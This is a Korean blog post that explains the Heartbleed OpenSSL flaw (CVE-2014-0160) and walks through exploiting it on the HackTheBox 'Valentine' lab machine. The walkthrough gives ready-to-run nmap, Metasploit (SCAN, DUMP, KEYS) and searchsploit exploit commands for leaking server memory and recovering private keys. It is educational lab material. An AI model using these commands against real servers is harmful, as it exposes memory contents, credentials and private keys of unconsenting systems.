estherseo
JINIWAY
estherseo
전체 방문자
오늘
어제
  • 분류 전체보기
    • 전공공부
    • CS
      • Network
      • Algorithm
      • 📖
      • python
      • django
    • Pentest
      • 📖
      • HTB
      • Machines
    • Web-hacking
      • 📖
      • Dreamhack
      • Portswigger
    • System-hacking
      • 📖
    • Mobile-hacking
    • Project
    • CVE
    • CTF
    • News & Conference
    • 자격증
    • 신기술
      • AI

블로그 메뉴

  • 홈
  • 태그
  • 방명록
  • 블로그 소개

인기 글

최근 댓글

최근 글

태그

  • Pillow취약점
  • 세계신안보포럼
  • 시스템해킹공부
  • python eval
  • pox2022
  • 화이트햇투게더
  • ASC 스터디
  • 네트워크관리사 실기 합격
  • 패킷잡기
  • 다크웹 모니터링 서비스
  • HTB valentine
  • 스택카나리
  • 화이트햇투게더1기 결과공유회
  • shocker
  • 2022 네트워크관리사
  • CVE-2022-22817
  • 화이트햇투게더1기
  • jwt token last character
  • 셸쇼크
  • asc
  • 2022 pox
  • 시스템해킹 스터디
  • integer overflow
  • 다크웹 모니터링
  • n00bCTF
  • ASC스터디
  • HTB shocker
  • CTF공부
  • 중소기업 정보보호
  • 기사요약
hELLO · Designed By 정상우.
estherseo

JINIWAY

하트블리드 | Heartbleed bug | CVE-2014-0160
CVE

하트블리드 | Heartbleed bug | CVE-2014-0160

2022. 4. 29. 05:08

개념

외부 시스템의 내부 메모리가 새어나오게 한다 - 출혈, bleed!

 

 

2014년 4월, 유명한 오픈소스 라이브러리인 OpenSSL에서 발견된 취약점이다.

 

OpenSSL의 "heartbeat"라는 확장 모듈에서 클라이언트 요청 메시지를 처리할 때 데이터 길이 검증을 수행하지 않아 시스템 메모리에 저장된 64KB 크기의 데이터를 외부에서 아무런 제한 없이 탈취할 수 있다.

 

 👉 OpenSSL

 데이터 통신의 암호화를 위한 프로토콜인 SSL/TLS 프로토콜을 구현한 오픈소스 라이브러리이다.

 C언어로 작성되어 있는 중심 라이브러리 안에는, 기본적인 암호화 기능 및 여러 유틸리티 함수들이 구현되어 있다.

 키 생성, 인증 기관 생성 등 기능이 있다. 

  • SSL(Secure Sockets Layer)
    • 클라이언트와 서버가 데이터 통신할 때, 통신 내용을 안전하게 보호하기 위해 쓰인다.
    • 서버 인증, 클라이언트 인증, 데이터 암호화 기능을 제공한다.
    • SSL을 사용하는 URL은 https 을 사용한다. ( ↔ http)
    • 이후 SSL이 TLS(Transport Layer Security)라고 이름이 바뀐다.

 

 👉 OpenSSL - "heartbeat"

 클라이언트와 서버 간의 안정적인 연결을 위해 연결 상태를 체크하는 OpenSSL 확장 모듈이다.

 클라이언트는 서버에게 heartbeat를 이용하여 임의의 정보와 그 정보의 길이를 함께 전송하고,  서버는 전달받은 정보를 다시 클라이 언트에게 전달해주며 자신의 존재를 알려준다.

 

 

 😈 취약 버전

 OpenSSL 1.0.1 ~ OpenSSL 1.0.1f

 OpenSSL 1.0.2-beta, OpenSSL 1.0.2-beta1

 


원리

출처 : https://commons.wikimedia.org/wiki/File:Simplified_Heartbleed_explanation.svg

SSL/TLS를 이용하여 연결된 두 호스트, 서버와 클라이언트가 있다고 하자.

두 호스트는 연결 확인을 위해서 일정하게 "heartbeat" 메시지를 주고받는다.

메시지는 문자열과 그 문자열의 길이(16비트=2바이트)로 구성된다.

 

  • 정상 동작
    • 클라이언트가 TLS 프로토콜 레코드에 "bird" 문자열과 그 문자열 길이 "4"가 담긴 메시지를 보낸다.
    • 서버는 메시지에 담긴 문자열 "bird"를 자신의 메모리 힙 공간에 문자열을 담을 만큼의 공간을 할당하여 저장한다.
    • 서버는 그 문자열의 시작 위치부터 지정된 문자열의 길이 4 바이트들을 메모리에서 읽어서 클라이언트에게 반송한다.
  • 악용 동작
    • 클라이언트가 TLS 프로토콜 레코드에 "bird" 문자열과 문자열 길이를 "65535"( 2바이트에 담을 수 있는 가장 큰 부호 없는 정수, 16진수로는 0xffff ) 으로 조작하여 메시지를 보낸다.
    • 서버는 메시지에 담긴 문자열 "bird"를 자신의 메모리 힙 공간에 문자열을 담을 만큼의 공간을 할당하여 저장한다.
    • 이때 실제 문자열보다 지정한 문자열 길이가 더 크면, 할당된 메모리 영역 바깥에 있는 다른 프로그램들이 사용하는 공간의 바이트들을 읽게 된다.
    • 따라서 bird 문자열 뒤의 "65531"자도 함께 읽어 반송하면서 메모리 안의 65531바이트가 유출된다.

 

현대적인 프로그래밍 언어는 프로그램이 힙에 할당한 메모리 영역 바깥의 메모리에 접근하는 것을 차단하지만, C는 그렇지 않다. OpenSSL은 C로 구현되었기 때문에 취약점이 발생했다.

 


실습 - ( HTB "Valentine" )

1. 하트블리드 취약점 확인

(1)  Nmap

nmap -p 443,80 --script=ssl-heartbleed 10.10.10.79

Nmap의 ssl-heartbleed 스크립트를 사용한다.TLS heartbeat 레코드를 탐색해서 하트블리드 버그를 찾는다. Openssl 버전 영향을 받지 않아 검출 정확도가 높다.

 

(2)  Metasploit

msfconsole -q
search heartbleed
use 1

show options
set rhosts 10.10.10.79
show actions
set action SCAN
run

하트블리드 취약점 존재

+ sslscan [ip주소]]

으로도 확인할 수 있으나 sslscan 버전을 다운그레이드 해야한다.

 

2. 하트블리드 취약점 공격

(1)  공격 스크립트 이용 - 32745.py

searchsploit heartbleed
searchsploit -m 32745
python 32745.py [target IP]

32745 말고 다른 코드로 해도 된다.

유출된 메모리에서 문자열 일부를 확인할 수 있다.

wireshark로 좀 더 한눈에 볼 수 있다.

우클릭 > follow > TCP stream
base64 인코딩한 것으로 보이는 text
이 문제의 핵심 문자열을 획득했다.

 

(2)  Metasploit

DUMP랑 KEYS를 사용해보겠다.

 

set action DUMP
run

Required "yes" 되어 있는 곳을 채워줘야한다.
.bin 파일은 이진 데이터를 담은 파일이다. 대상 서버의 내부 메모리의 일부가 들어있다.

이진 파일을 사람이 읽을 수 있는 문자열만 추출해보자.

strings [덤프파일경로] > dump.txt

메모리의 문자열들을 획득했다.

 

 

set action KEYS
run

메모리에서 타겟 서버 개인키 복구

( 이 valentine 머신에서는 다른 방법으로 개인키를 획득하여 익스플로잇해야한다. )

 

 

 

 


Reference :

더보기

https://jmoon.co.kr/164

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=20884

https://brownbears.tistory.com/232

https://rjswn0315.tistory.com/197

 

 

잘못된 부분이 있을 수 있습니다 !! 부족한 점은 댓글로 피드백 바랍니다 :)

 

 

 

'CVE' 카테고리의 다른 글

Python : PIL.ImageMath.eval() | CVE-2022-22817  (0) 2022.07.21
셸쇼크 | Shellshock | CVE-2014-627*  (0) 2022.04.24
    'CVE' 카테고리의 다른 글
    • Python : PIL.ImageMath.eval() | CVE-2022-22817
    • 셸쇼크 | Shellshock | CVE-2014-627*
    estherseo
    estherseo
    안녕하세요😀

    티스토리툴바